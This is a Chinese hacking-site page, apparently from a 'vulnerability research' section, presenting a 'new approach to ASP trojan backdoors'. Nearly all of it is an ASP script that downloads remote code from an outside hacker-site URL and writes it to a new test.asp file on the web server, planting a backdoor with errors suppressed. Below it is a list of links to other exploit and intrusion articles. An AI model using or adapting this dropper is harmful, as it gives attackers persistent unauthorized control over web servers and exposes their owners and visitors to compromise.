ASP木马后门新思路

所属分类: 实用技巧 / 漏洞研究 阅读数: 1804
收藏 0 赞 0 分享
<%  
Function GetPage(url)  
dim Retrieval  
Set Retrieval = createObject("Microsoft.XMLHTTP")  
With Retrieval  
.Open "Get", url, False ', "", ""  
.Send  
GetPage = BytesToBstr(.ResponseBody)  
End With  
Set Retrieval = Nothing  
End Function  

Function BytesToBstr(body)  
dim objstream  
set objstream = Server.createObject("adodb.stream")  
objstream.Type = 1  
objstream.Mode =3  
objstream.Open  
objstream.Write body  
objstream.Position = 0  
objstream.Type = 2  
objstream.Charset = "GB2312"  
BytesToBstr = objstream.ReadText  
objstream.Close  
set objstream = nothing  
End Function  
on error resume next  
Url="http://www.heibai.org/hacker/daemon.txt"  
response.write "开始取得远程代码........"  
wstr = GetPage(Url)  

Set fs=Server.createObject("Scripting.FileSystemObject")  

Set CrFi=fs.createTextFile(server.MapPath("./")&"\test.asp")  
Crfi.Writeline(wstr)  
set CrFi=nothing  
set fs=nothing  
response.write "...<font color=red>生成test.asp文件成功</font>"  
%>  
更多精彩内容其他人还在看

DVBBS7.0Sp2前台提权漏洞利用程序[Kendy版]源码

DVBBS7.0Sp2前台提权漏洞利用程序[Kendy版]源码
收藏 0 赞 0 分享

跨站脚本攻击+Cookies欺骗(Discuz篇)

跨站脚本攻击+Cookies欺骗(Discuz篇)
收藏 0 赞 0 分享

Dvbbs7.1.0 cookie存在泄露绝对路径漏洞

Dvbbs7.1.0 cookie存在泄露绝对路径漏洞
收藏 0 赞 0 分享

关于对SQL注入80004005 及其它错误消息分析

关于对SQL注入80004005 及其它错误消息分析
收藏 0 赞 0 分享

针对蓝牙PIN码的最新攻击技术细节分析

针对蓝牙PIN码的最新攻击技术细节分析
收藏 0 赞 0 分享

细说3721网络实名“病毒”

细说3721网络实名“病毒”
收藏 0 赞 0 分享

浅谈SQL SERVER数据库口令的脆弱性

浅谈SQL SERVER数据库口令的脆弱性
收藏 0 赞 0 分享

MSHTA漏洞为黑客大开远程控制之门(图)

MSHTA漏洞为黑客大开远程控制之门(图)
收藏 0 赞 0 分享

再探九酷网络个人主页空间管理系统

再探九酷网络个人主页空间管理系统
收藏 0 赞 0 分享

黑客突破防火墙常用的几种技术

黑客突破防火墙常用的几种技术
收藏 0 赞 0 分享
查看更多